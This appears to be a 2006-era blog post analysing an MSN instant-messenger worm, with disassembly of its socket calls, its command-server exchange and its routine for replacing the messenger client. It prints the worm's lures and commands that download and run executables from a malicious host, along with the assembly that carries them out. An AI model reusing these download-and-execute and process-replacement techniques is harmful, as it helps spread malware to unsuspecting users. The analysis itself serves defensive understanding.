The worm I’m going to describe is, today, recognized by almost all the antiviruses around and it’s detected under various names (depending on the antivirus of course) such as Licat, IMWorm or MSNMaker. It doesn’t use any particular tricks, it uses standard programming code but it does the job because it relies on people’s distractions. Let’s see what it does.
The worm sends the link of the file to download (the worm) using msn, the message is: “lol check http://www.ugl%5BREMOVED%5Dhotos.net/photo223.PIF“; everything starts from here.
The file is an upx packed executable, after unpacking the file you’ll have everything you need in front of your eyes. Mainly the worm is composed by two parts, in the first part it runs the necessary files and in the last part it infects the computer.
The worm comunicates with a remote server, the comunication is done using Windows Sockets. Here are the functions called by the client (the worm in this case):
1. int WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);
0040156F push eax ; lpWSAData: pointer to the WSADATA structure, will receive details about Windows Sockets
00401570 push 2 ; wVersionRequested: support version 2.0
00401572 call ds:WSAStartup
WSAStartup is necessary when you want to use sockets because without a call to this function you won’t be able to do nothing, the function initiates the session.
2. SOCKET WSAAPI socket(int af, int type, int protocol);
004023FE push IPPROTO_TCP ; protocol: IPPROTO_TCP, the protocol to be used
00402402 push SOCK_STREAM ; type: specification for the socket.
00402404 push AF_INET ; af: address family. AF_INET defines IPv4
00402433 call ds:socket
socket creates a socket. The worm will use TCP protocol and IPv4 addresses, like 126.96.36.199
3. int connect(SOCKET s, const struct sockaddr* name, int namelen);
00402462 push 10h ; namelen: length in byte of the sockaddr structure
00402464 push eax ; name: pointer to a sockaddr structure
00402465 push esi ; s: socket descriptor, returned by socket function
00402466 call ds:connect
connect estabilishes the connection with the specified host. Hm, how do I know where the server is? From the above snippet you can’t because everything is inside the sockaddr structure which is filled elsewhere. The sockaddr structure for ipv4 contains few informations and, in this case, the most important are the port (which is setted to 80 (http)) and the address of the server. The server is at go.links[REMOVED]all.biz
4. int send(SOCKET s, const char* buf, int len, int flags);
00402400 xor ebx, ebx
0040247C push ebx ; flags: 0
00402484 push eax ; len: length in bytes of buf
0040248B push eax ; buf: data to send
0040248C push esi ; s: socket descriptor
0040248D call ds:send
send sends the request to the server, in this case the request is:
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; acc=cashbeast; iebar; acc=; acc=none; (none))
At this point I don’t know what the server is doing and I can’t even know what it will do, I can only wait for a reply.
5. int recv(SOCKET s, char* buf, int len, int flags);
004024AC push ebx ; flags
004024AD push edi ; len: length in bytes of buf
004024AE push [ebp+arg_0] ; buf: buffer for incoming data
004024B1 push esi ; s: socket descriptor
004024B2 call ds:recv
recv is used to receive data from the server. The server’s reply:
HTTP/1.1 200 OK
Date: Thu, 21 Sep 2006 11:53:58 GMT
Server: Apache/2.0.49 (Unix) PHP/4.3.6
Keep-Alive: timeout=15, max=100
Content-Type: text/html; charset=ISO-8859-1
<!–urlfwd2-e–><!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Frameset//EN”.”http://www.w3.org/TR/html4/frameset.dtd”>
<title></title> <META NAME=”Keywords” CONTENT=”go::69.[REMOVED].140::”>
<META NAME=”Description” CONTENT=””>
<frameset frameborder=”0″ framespacing=”0″ border=”0″ rows=”100%,*”>
<frame name=”TOPFRAME” src=”http://…html” noresize>
<h1>Welcome to GO.LINKS[REMOVED]ALL.BIZ</h1>
<br>Click here to enter <a href=”http://…html”>http://…html</a>
What a big reply from the server!
6. int closesocket(SOCKET s);
004024B8 push esi ; s: socket descriptor
004024B9 call ds:closesocket
closesocket closes the socket, nothing more.
7. int WSACleanup(void);
:0040194E call ds:WSACleanup
If WSAStartup must be the first function to call, WSACleanup must be the last function.
This is the client side of a client-server comunication via windows sockets. I won’t add anything else because it’s not a net tutorial but using the steps above you can write your own client, net programming is not so hard indeed!
Ok, the worm gets the information from the server but what would happen if something goes wrong? No problem, the worm tries to connect to another server: http://www.chea[REMOVED]ags.info
The initial comunication is necessary because the worm needs to acquire informations to go on; for example, to download the files it needs an url. The url is inside the message sended by the server, it’s somewhere in the message; to extract it the worm parses all the message, the address is surrounded by “::”. The worm connects to this address and another client-server
comunication happens, this time the server sends out the message:
down http://www.ugl%5BREMOVED%5Dhotos.net/sprT.exe sprT.exe;shell sprT.exe;
down http://www.ugl%5BREMOVED%5Dhotos.net/alfa.exe alfa.exe;shell alfa.exe;
down http://www.ugl%5BREMOVED%5Dhotos.net/Xinstall.exe Xinstall.exe;shell Xinstall.exe;
I’m not totally sure but the first file is not always the same. I tried to run the worm for some times and I also got: sprK.exe, sprY.exe. I can’t check but maybe the fourth letter (the one in uppercase) is a random letter, who knows…
The download/execution of the file is done by the code snippet below:
004016FC cmp byte ptr [eax+esi], ‘d’ ; Is the word ‘down’ inside the received message?
00401700 lea ecx, [eax+esi]
00401703 jnz loc_4017E5
00401709 cmp byte ptr [ecx+1], ‘o’
0040170D jnz loc_4017E5
00401713 cmp byte ptr [ecx+2], ‘w’
00401717 jnz loc_4017E5
0040171D cmp byte ptr [ecx+3], ‘n’
00401721 jnz loc_4017E5
00401727 cmp byte ptr [ecx+4], ‘ ‘
0040172B jnz loc_4017E5
… ; Yes, it’s inside. I can download the file
004017D1 push ebx
004017D2 push ebx
004017D3 push dword_40B42C ; The name of the file to create taken from the downloaded data: sprT.exe
004017D9 push edi ; url: http://www.ugl%5BREMOVED%5Dhotos.net/sprT.exe
004017DA push ebx
004017DB call URLDownloadToFileA
… ; The file is on the computer…
004017E5 028 cmp byte ptr [eax+esi], ‘s’ ; Is the word ‘shell ‘ after the url?
004017E9 028 lea ecx, [eax+esi]
004017EC 028 jnz short loc_40186D
004017EE 028 cmp byte ptr [ecx+1], ‘h’
004017F2 028 jnz short loc_40186D
004017F4 028 cmp byte ptr [ecx+2], ‘e’
004017F8 028 jnz short loc_40186D
004017FA 028 cmp byte ptr [ecx+3], ‘l’
004017FE 028 jnz short loc_40186D
00401800 028 cmp byte ptr [ecx+4], ‘l’
00401804 028 jnz short loc_40186D
00401806 028 cmp byte ptr [ecx+5], ‘ ‘
0040180A 028 jnz short loc_40186D
… ; Yes, it’s after
0040184F 028 push 1
00401851 02C push ebx
00401852 030 push ebx
00401853 034 push dword_40B42C ; Specify the file to open
00401859 038 push offset Operation ; “open”: open the exe file means…
0040185E 03C push ebx
0040185F 040 call ds:ShellExecuteA ; run it!
Another parsing of the received message, this time the word ‘down’ preceeds the url and the word ‘shell ‘ preceeds the name of the file to run. The code above is repeated 3 times, one for each downloaded file. I won’t add the description of the files here; just to let you known, they are used to spread the worm on msn, add spyware/adware…
At this point the machine is already infected and the worms performs the last operation replacing two msn files:
1. it copies msnmsgr.exe in msgs.exe
2. it copies the worm in msnmsgr.exe
3. it runs msnmsgr.exe which is now the worm
How can the worm overwrite msnmsgr.exe if it’s running? Well, the client is always in running mode and you can see it from the systray. To make the copy the worm firstly finds the client, terminates the process and then performs the copy. To do such operations it uses the chain of functions: FindWindowA, GetWindowThreadProcessId, OpenProcess (with dwDesiredAccess equal to “TERMINATE”). Yes, a chain because the second needs the first and the third needs the second.
Well, it’s all…
Lesson of the day: pay attention when you click on a link posted inside your msn client!!!